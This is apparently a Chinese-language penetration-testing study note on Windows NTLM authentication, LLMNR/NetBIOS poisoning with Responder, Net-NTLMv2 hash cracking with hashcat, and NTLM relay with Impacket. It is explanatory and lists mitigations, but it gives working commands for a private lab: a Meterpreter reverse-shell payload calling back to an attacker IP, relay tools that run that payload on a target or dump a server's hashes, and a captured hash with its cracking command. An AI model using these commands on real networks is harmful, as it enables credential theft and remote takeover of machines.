NTLM-Hash和NET-NTLM-Hash：
Windows機器基本都采用NTLM-Hash來存儲用戶密碼，通常保存在SAM文件中(域Hash保存在域控的NTDS.dit文件中)，可以用mimikatz讀取lsass進程獲得已登錄用戶的密碼hash，或者用注冊表的形式導出SAM文件獲得在本機存儲的用戶hash。
從Window Vista 和 Windows Server 2008開始，默認情況只存儲Ntlm Hash。某些工具在PTH或者其他過程中需要使用 LM:NTLM 格式的時候，LM可以為任意值。
NET-NTLM-Hash是由NTLM-Hash和challenge值加密生成的，用於NTLM認證。
NTLMv1和NTLMv2(用於NTLM認證)：
Challenge：
NTLM v1：16字節
NTLM v2：可變長度
Net-NTLM-Hash：
NTLM v1：DES加密算法
NTLM v2： HMAC-MD5加密算法
當然由於使用不同格式的 Challenge 和加密算法，也就存在不同的 Net-NTLM hash，即 Net-NTLM v1 hash，Net-NTLM v2 hash
NTLMv1不夠安全，拿到后可以進行暴力破解，所以現在大多都是使用的NTLMv2。
本地認證流程：
winlogon.exe -> 接收用戶輸入 -> lsass.exe -> (認證)
首先，用戶注銷、重啟、鎖屏后，操作系統會讓winlogon.exe顯示登錄界面，也就是輸入框，接收輸入后，將密碼交給lsass進程，這個進程中會存一份明文密碼，將明文密碼加密成NTLM Hash，對SAM數據庫比較認證。
Windows Logon Process(即 winlogon.exe)：是Windows NT 用戶登陸程序，用於管理用戶登錄和退出。
LSASS：用於微軟Windows系統的安全機制。它用於本地安全和登陸策略
NTLM認證：
工作組中
1.客戶端告訴服務器它要進行身份驗證。
2.服務器傳入 NTLM SSP，得到 NTLM_CHALLENGE 消息(16位隨機值)，並返回給客戶端。
3.客戶端取出challenge隨機值，使用要登錄用戶的NTLM-Hash對challenge進行加密，得到相應的NET-NTLM-Hash，發送給服務端。
4.服務端根據challenge同樣使用存儲的登錄用戶密碼 hash 加密 Challenge，生成challenge1，比較NET-NTLM-Hash和challenge1，如果相同則驗證成功
域環境中
前三步與工作組相同
4.由於域機器SAM文件中不存在域用戶的NTLM hash，所以服務器將客戶端用戶名、第三步返回的NET-NTLM-Hash和第二步生成的NTLM_CHALLENGE通 Netlogon協議交到域控手中,讓域控對其進行身份驗證。
5.域控通過客戶端用戶名在自己的ntds.dit中找到對應的NTLM-Hash，用NTLM_CHALLENGE對其進行加密，再與NET-NTLM-Hash進行對比。如果相同則表示用戶擁有的密碼是正確的，否則則驗證失敗，DC將結果返回給服務器。
6.服務器根據DC的結果成功與否返回給客戶端。
SSPI接口(安全支持提供程序接口)
是微軟提出的用於標准化身份驗證的接口，事先定義好了與安全有關的功能函數,用於獲取校驗信息完整性等，沒有具體的實現。
SSP(安全服務提供)
為SSPI的實現者,微軟自己實現了如下的 SSP，用於提供安全功能。例如：NTLM SSP，Kerberos等。
現在Windows主要用 NTLMv2(工作組環境) 和 Kerberos(域環境) 驗證體系。NTLM只支持Windows，而Kerberos不僅支持Windows，而且支持Linux。
NetBIOS和LLMNR欺騙得到Net-NTLMHash
什么是NetBIOS和LLMNR：
NetBIOS和LLMNR（Link-LocalMulticast NameResolution）是Microsoft針對工作組和域設計的名稱解析協議，主要用於局域網中的名稱解析。當DNS解析失敗時，Windows系統會使用NetBIOS和LLMNR搜索名稱。這些協議只為本地連接設計。
Netbios(Network Basic Input Output System)：網絡基本輸入輸出系統
是一種應用程序接口(API)，系統可以利用WINS服務、廣播及Lmhost文件等多種模式將NetBIOS名解析為相應IP地址。幾乎所有的局域網都是在NetBIOS協議的基礎上工作的。在Windows操作系統中，默認情況下在安裝 TCP/IP 協議后會自動安裝NetBIOS。
LLMNR(Link-LocalMulticast NameResolution)：鏈路本地多播名稱解
是一個基於協議的域名系統（DNS）數據包的格式。LLMNR協議類似於ARP協議：當主機訪問另外一台主機時，如果只知道對方的主機名，則會向局域網內廣播請求，詢問該主機名對應的ip地址，然后收到該請求的主機首先會判斷自己的主機名是否是這個，如果是的話則會回復一個ip地址，如果主機名不符合則丟棄。
攻擊原理：
windows解析順序：
本地host文件>dns緩存>dns服務器>名稱解析協議（NetBIOS和LLMNR廣播）
NetBIOS和LLMNR協議對於沒有DNS的工作站系統來說很有幫助，但也對攻擊者大開方便之門。當輸入不存在、包含錯誤或者DNS中沒有的主機名時，就會使用這些協議在網絡中搜索主機，這些協議的本質決定了本地網絡上的任何主機都可以回答請求。這意味着作為攻擊者，能夠代替網絡上任何不存在的主機回答請求，並誘導搜索內容的主機連接到攻擊者。
Responder進行攻擊：
kali已經默認集成了responder，這個工具能進行NetBIOS，LLMNR欺騙。
攻擊者：
responder -I eth0 -f
其中：
-I表示指定的網卡，-f表示允許攻擊者查看受害者的主機指紋。
開啟后，對LLMNR、NetBIOS、DNS/MDNS的毒化開始進行。
受害者在資源管理器的地址欄中輸入\\adaaaada時，系統會嘗試連接主機“adaaaada”。首先它會檢查本地host文件，然后檢查DNS，如果都不存在，就會通過LLMNR協議進行多播，在局域網中進行搜索。此時可以在攻擊機上看到Responder的響應，然后受害者的Windows機器會向攻擊者進行身份驗證。
獲取Net-NTLMHash：
responder也會自動將結果保存在/usr/share/responder/logs/ 目錄下
使用Hashcat破解Net-NTLMHash：
hashcat.exe -m 5600 aspnet::HIRO:67317ae12da2a6bf:0A8C18A3412E1051B33A5516618CB23B:010100000000000080DD00168A5FD701E1910DC282B3666E00000000020008004600340059004D0001001E00570049004E002D004F003600470056004A00480048004600460059005A0004003400570049004E002D004F003600470056004A00480048004600460059005A002E004600340059004D002E004C004F00430041004C00030014004600340059004D002E004C004F00430041004C00050014004600340059004D002E004C004F00430041004C000700080080DD00168A5FD70106000400020000000800300030000000000000000100000000200000EFBD98EB057A087ACFA02DC5E544C7C6ED6CDC5EC6C87BD8BA7AABFBAC48E6910A001000000000000000000000000000000000000900180063006900660073002F0061006100610061007300730073000000000000000000 pass.txt --force
其中：
aspnet:要訪問的服務器的用戶名
HIRO：域名
67317ae12da2a6bf：16位的challenge值
剩余部分：根據自身密碼的NTLM-hash對challenge加密
爆破得到密碼：
防止NetBIOS和LLMNR欺騙：
NetBIOS：
網絡適配器--屬性--IPV4--屬性--高級--WINS--選中“禁用TCP / IP上的NetBIOS”
LLMNR：
本地計算機策略 > 計算機配置 > 管理模板 > 網絡 > DNS客戶端>關閉多播名稱解析
NTLM-relay攻擊
其實就相當於中間人攻擊，client認為attacker是server端，而server端也以為attacker是client端，attacker在中間起到進行數據轉發的作用。
內網工作環境：
工作組：
NTLM Relay攻擊在工作組環境下感覺用處不大，因為工作組只是在一個內網環境中，各個機器並沒有明確關系，所以這個時候relay的話需要賬號密碼相同，但是如果賬號密碼相同的話，為什么不直接用哈希傳遞呢？
域：
域環境中的hash都統一存儲在域控的NTDS.dit中，如果域內沒有限制域用戶登錄到指定機器，那么就能域用戶relay到其他機器或者直接使用域控relay到域機器(域控默認開啟smb簽名，而其他域機器默認不開啟)
實驗環境：
client：域控@administrator@192.168.228.10
server1: 域機器@192.168.228.13(win2008)
server2：域機器@192.168.228.40(win10)
attacker：kali@192.168.228.110
NTLM-relay復現：
Impacket中的smbrelayx.py
攻擊者偽造一個惡意的SMB服務器，當內網中有client訪問這個SMB服務器時，smbrelayx.py將抓到client的NET-NTLM-Hash,然后重放給server端進行身份驗證。
先生成一個msf馬：
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.228.110 LPORT=4444 -f exe > shell.exe
msf設置監聽：
ps：要設置set AutoRunScript migrate，成功得到session后自動遷移進程，如果沒有設置，在Removing file的時候會話也隨之結束。
執行smbrelayx.py：（由於server2端中的win10不成功，所以采用server1進行攻擊）
首先將生成的msf馬拖到smbrelayx.py同目錄下
python3 smbrelayx.py -h 192.168.228.13 -e ./shell.exe （-e選項在目標主機上傳並運行payload）
在域控上執行
可以看到在kali中：
smbrelayx.py拿到了當前用戶的NET-NTLM-Hash
msf獲得了192.168.228.13的會話
Impcaket中的ntlmrelayx.py
ntlmrelayx.py是對smbrelayx的改進，支持多種協議進行中繼。
ntlmrelayx.py 腳本可以直接用現有的 hash 去嘗試重放指定的機器
kali:
responder -I eth0 -r -d -v 開啟毒化
python3 ntlmrelayx.py -t smb://192.168.228.40(server端ip)
在域控資源管理器的地址欄中輸入\\bbb時，系統會嘗試連接主機“bbbbb”。首先它會檢查本地host文件，然后檢查DNS，如果都不存在，就會通過LLMNR協議進行多播，在局域網中進行搜索。此時可以在攻擊機上看到Responder的響應，然后受害者的Windows機器會向攻擊者進行身份驗證。
responder開啟毒化后將身份驗證所需的NET-NTLM-Hash傳到192.168.228.40(server端ip)，在server端進行驗證。
Relay成功后這個腳本重放了445並執行了dumphash的命令，由於是域管用戶，所以將server端存儲的所有hash都dump出來了。
分析：
生成如下smb數據包
可以看到36-38中attacker作為中間人轉發了challenge
39-41中attacker作為中間人轉發了NTLM-response
在整個過程中attacker只會做一個中間人該做的事情，把相應的憑證在client和server進行轉發
參考：
https://en.hackndo.com/ntlm-relay/
https://blog.csdn.net/whatday/article/details/107698383
很多利用方法並沒有列出來，到時候都整理清楚了再添吧。。。